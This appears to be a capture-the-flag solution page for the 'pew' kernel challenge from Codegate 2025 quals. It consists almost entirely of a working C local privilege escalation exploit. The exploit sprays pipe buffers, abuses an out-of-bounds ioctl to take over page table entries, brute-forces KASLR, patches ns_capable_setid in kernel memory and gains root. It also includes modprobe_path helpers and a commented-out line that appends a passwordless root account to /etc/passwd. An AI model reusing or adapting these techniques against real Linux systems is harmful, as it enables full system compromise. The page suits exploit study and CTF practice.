pew
codegate 2025 quals
vulnerability


exploit
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <unistd.h>
#define COLOR_ENABLE 0
#define COLOR_RESET "\033[0m"
#define COLOR_RED "\033[0;31m"
#define COLOR_GREEN "\033[0;32m"
#define COLOR_YELLOW "\033[0;33m"
#define COLOR_BLUE "\033[0;34m"
#define COLOR_MAGENTA "\033[0;35m"
#define COLOR_CYAN "\033[0;36m"
#define info(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_BLUE "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[*] " fmt "\n", ##__VA_ARGS__); \
}
#define success(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[+] " fmt "\n", ##__VA_ARGS__); \
}
#define error(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[-] " fmt "\n", ##__VA_ARGS__); \
}
#define warning(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[!] " fmt "\n", ##__VA_ARGS__); \
}
#define rep(X,Y) for (unsigned long X = 0;X < (Y);++X)
#define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4)
#define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8)
#define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16)
#define irep(X) for (unsigned long X = 0;;++X)
#define rrep(X,Y) for (unsigned long X = (Y)-1;X >=0;--X)
/* https://github.com/gmo-ierae/ierae-ctf/blob/main/2024/pwn/free2free/solution/exploit.c */
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) { \
error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \
exit(1); \
} \
__res; \
})
#define PTE2V(i) ((unsigned long long)(i) << 12)
#define PMD2V(i) ((unsigned long long)(i) << 21)
#define PUD2V(i) ((unsigned long long)(i) << 30)
#define PGD2V(i) ((unsigned long long)(i) << 39)
#define V2PTE(i) (((unsigned long long)(i) >> 12) & 0x1ff)
#define V2PMD(i) (((unsigned long long)(i) >> 21) & 0x1ff)
#define V2PUD(i) (((unsigned long long)(i) >> 30) & 0x1ff)
#define V2PGD(i) (((unsigned long long)(i) >> 39) & 0x1ff)
#define PHYS_ENTRY(i) ((unsigned long long)(i) | 0x67ULL | (1ULL << 63))
#define PTE2PHYS(i) ((unsigned long)(i) & ~(0x1ULL << 63)&~0xFFFULL)
#define PTI_TO_VIRT(pgd_index, pud_index, pmd_index, pte_index, byte_index) \
((void*)(PGD2V((unsigned long long)(pgd_index)) + PUD2V((unsigned long long)(pud_index)) + \
PMD2V((unsigned long long)(pmd_index)) + PTE2V((unsigned long long)(pte_index)) + (unsigned long long)(byte_index)))
#define KVIRT_TO_PHYS(i) ((unsigned long)(i) & 0xff000)
#define KASLR_DIFF(k_addr, i) ((unsigned long)k_addr + (unsigned long)(i)*0x100000)
/* common data */
#define PROC_NAME "NKTIDKSG"
//#define MODPROBE_SCRIPT "#!/bin/sh\necho pwn::0:0:root:/root:/bin/sh>>/etc/passwd\n"
#define MODPROBE_SCRIPT "#!/bin/sh\nchmod 777 /flag\n"
#define MODPROBE_FAKE "/ssbinmodprobe"
unsigned long cs;
unsigned long ss;
unsigned long rsp;
unsigned long rflags;
//linux-6.14.2
unsigned long commit_creds = 0xffffffff812a1050;
unsigned long init_cred = 0xffffffff81e3bfa0;
unsigned long kbase = 0xffffffff96000000;
unsigned long modprobe_path = 0xffffffff98d5ee30;
unsigned long __sys_setuid = 0xffffffff96200d20;
unsigned long ns_capable_setid = 0xffffffff961f3240;
unsigned long ret_true = 0x90c3c0ff48c03148;
unsigned long ret1nop7 = 0x90909090909090c3;
char misc[0x100] = {0};
void shell() {
puts("[*] shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
SYSCHK(execve("/bin/sh", argv, envp));
}
static void ret2user(unsigned long rip) {
asm volatile ("swapgs\n");
asm volatile(
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(ss),
"r"(rsp),
"r"(rflags),
"r"(cs), "r"(rip));
}
void lpe() {
void (*cc)(char *) = (void *)commit_creds;
(*cc)((void *)init_cred);
ret2user((unsigned long)shell);
}
static void refuge() {
asm volatile (
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(cs), "=r"(ss), "=r"(rsp), "=r"(rflags)
:
: "memory");
}
void dump_memory(char *buf, int size) {
char *p = buf;
dqrep (i, size) {
printf("0x%06x |", (int)i);
printf(" 0x%016lx ", *(unsigned long *)(p + i));
printf(" 0x%016lx ", *(unsigned long *)(p + i + 8));
printf("\n");
}
}
void xxd(char *buf, int size) {
char *p = buf;
dqrep (i, size) {
printf("0x%06x |", (int)i);
rep (j, 0x10) { printf(" %02x", *(unsigned char *)(p+i+j)); }
printf(" |");
rep (j, 0x10) {
if (*(unsigned char *)(p+i+j) < 0x20 || *(unsigned char *)(p+i+j) > 0x7e) {
printf(".");
} else { printf("%c", *(unsigned char *)(p + i + j)); }
}
printf("|\n");
}
}
void init_modprobe() {
int exp_fd = SYSCHK(open(MODPROBE_FAKE, O_RDWR | O_CREAT, 0777));
SYSCHK(write(exp_fd, MODPROBE_SCRIPT, strlen(MODPROBE_SCRIPT)));
SYSCHK(close(exp_fd));
}
void exec_modprobe() {
info("exec modprobe");
socket(38, SOCK_SEQPACKET, 0);
}
void exec_modprobe_old() {
#define TRIG "/TDN810"
int trigger = SYSCHK(open(TRIG, O_RDWR | O_CREAT, 0777));
SYSCHK(write(trigger, "\xdd\xdd", 2));
SYSCHK(close(trigger));
execve(TRIG, NULL, NULL);
}
#define NUM_CORES 0
void init_proc() {
SYSCHK(prctl(PR_SET_NAME, PROC_NAME, 0, 0, 0));
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(NUM_CORES, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
void write2file(char *fn, char *c) {
int fd = SYSCHK(open(fn, O_WRONLY | O_CREAT | O_TRUNC, 0644));
SYSCHK(write(fd, c, strlen(c)));
SYSCHK(close(fd));
}
void read2file(char *fn, char *c, int size) {
int fd = SYSCHK(open(fn, O_RDONLY));
SYSCHK(read(fd, c, size));
SYSCHK(close(fd));
}
#define CMD_OOB 0x1003
#define CMD_SETVAL 0x1002
#define CMD_SETOFF 0x1001
#define MAX_BUF 0x1000
#define MODULE_NAME "/dev/pew"
int main(void) {
init_proc();
init_modprobe();
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
void *pte_setup = SYSCHK(mmap(PTI_TO_VIRT(0x1, 0x0, 0x0, 0x0, 0x0), 4098,
PROT_READ | PROT_WRITE, MAP_PRIVATE | 0x20 | MAP_FIXED, -1, 0));
*(char *)pte_setup = 0x1;
info("spray pipe_buffer");
#define PIPE_SPRAY_SZ 0x40/2
#define PAGE_SIZE 0x1000
int pp[PIPE_SPRAY_SZ*2][2];
rep (i, PIPE_SPRAY_SZ*2) {
SYSCHK(pipe(pp[i]));
}
info("resize pipe_buffer #1/2");
rep (i, PIPE_SPRAY_SZ) {
SYSCHK(fcntl(pp[i][0], F_SETPIPE_SZ,0x40*PAGE_SIZE));
}
info("open pew");
int victim = SYSCHK(open(MODULE_NAME, O_RDWR));
info("resize pipe_buffer #2/2");
rep (i, PIPE_SPRAY_SZ) {
SYSCHK(fcntl(pp[i+PIPE_SPRAY_SZ][0], F_SETPIPE_SZ,0x40*PAGE_SIZE));
}
info("write id to pipe_buffer");
char payload[0x10];
memset(payload, 0x0, sizeof(payload));
rep (i,PIPE_SPRAY_SZ*2) {
*(unsigned long *)payload = (unsigned long)i;
write(pp[i][1], payload, sizeof(payload));
}
info("set val");
SYSCHK(ioctl(victim, CMD_SETVAL, 0x40));
info("set off");
SYSCHK(ioctl(victim, CMD_SETOFF, MAX_BUF));
info("trigger oob");
int ret = SYSCHK(ioctl(victim, CMD_OOB, NULL));
unsigned long tmp, vic, atk;
rep (i, PIPE_SPRAY_SZ*2) {
read(pp[i][0], &tmp, sizeof(unsigned long));
//info("i: %ld, tmp: %ld", i, tmp);
if (tmp != i) {
success("found broken pipe %ld", i);
atk = i; //original
vic = tmp; //injected page pointer
success("vic: %ld", vic);
success("atk: %ld", atk);
close(pp[atk][0]);
close(pp[atk][1]);
void *new_pte = SYSCHK(mmap(PTI_TO_VIRT(0x1, 0x0, 0x80, 0x0, 0x0), 4096*0x100,
PROT_READ | PROT_WRITE, MAP_PRIVATE | 0x20 | MAP_FIXED, -1, 0));
*(char *)new_pte = 0x1;
info ("new pte: %p", new_pte);
char *buf=calloc(0x80, 1);
memset(buf, 0x0, sizeof(*buf));
read(pp[vic][0], buf, sizeof(buf));
xxd(buf, sizeof(buf));
info("buf: 0x%lx", *(unsigned long *)buf);
if ((unsigned long)*buf == 0x0) {
error("failed to dup pte");
exit(1);
}
info("dupped pte: 0x%llx", PTE2PHYS(*(unsigned long *)buf));
break;
}
}
if (vic == 0) {
error("no broken pipe");
exit(1);
}
info("overwrite pte");
info("bypassing kaslr")
int sz = 512*8;
unsigned long dest = ns_capable_setid-kbase;
unsigned long machine = 0xf289530000441f0f;
rep (i,256) {
char ptes[8];
unsigned long *p = (unsigned long *)ptes;
unsigned long pys_modprobe = KASLR_DIFF(KVIRT_TO_PHYS(dest),i);
unsigned long pte_modprobe = PHYS_ENTRY(pys_modprobe);
*p = pte_modprobe;
SYSCHK(write(pp[vic][1], ptes, sizeof(ptes)));
char *check = PTI_TO_VIRT(0x1, 0x0, 0x80, i, dest & 0xfff);
printf("check %d @ %p |", (int)i, check);
xxd(check, 0x10);
if (memcmp(check, &machine, 8) ==0){
success("found ns_capable_setid");
memmove(check, &ret_true, 8);
goto win;
}
fflush(stdout);
}
close(victim);
error("failed...");
exit(1);
win:
success("win");
SYSCHK(setuid(0));
info("uid: %d", getuid());
read2file("/flag", misc, 0x100);
success("flag: %s", misc);
return 0;
}

Last modified: 15 June 2025